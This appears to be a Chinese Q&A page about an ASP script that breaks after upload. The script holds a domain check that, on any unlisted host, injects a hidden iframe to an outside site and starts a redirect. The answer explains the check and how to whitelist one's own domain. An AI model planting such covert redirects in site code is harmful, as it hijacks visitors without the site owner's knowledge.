ASP程序本地测试没问题,上传空间出现问题。。

来源:百度知道 编辑:UC知道 时间:2024/06/18 03:50:48
<%
Dim ss
Const host="localhost"
Const host1="127.0.0.1"
Const host2="www.0377.cn"
Const host3="0377.cn"
ss=Request.ServerVariables("SERVER_NAME")
if ss<>host and ss<>host1 and ss<>host2 and ss<>host3 then
response.Write("<iframe border=""0"" vspace=""0"" hspace=""0"" marginwidth=""0"" marginheight=""0"" framespacing=""0"" frameborder=""0"" scrolling=""no"" width=""500"" height=""300"" src=""http://www.mtyxiu.com""></iframe>")
response.Write("<META HTTP-EQUIV="&qu

ss=Request.ServerVariables("SERVER_NAME")
获取的是你网站的域名,比喻你的网站访问地址为:www.abcd.com 那么ss=www.abcd.com

分析代码:
你这里用了四个不等式(ss<>host and ss<>host1 and ss<>host2 and ss<>host3)然后and,四个条件都成立,才会执行if里的语句(response.Write。。。)

你可以把,下列四个变量任意一个改成你的域名,就不会跳转了
Const host="localhost"
Const host1="127.0.0.1"
Const host2="www.0377.cn"
Const host3="0377.cn"

127.0.0.1 改成你空间的IP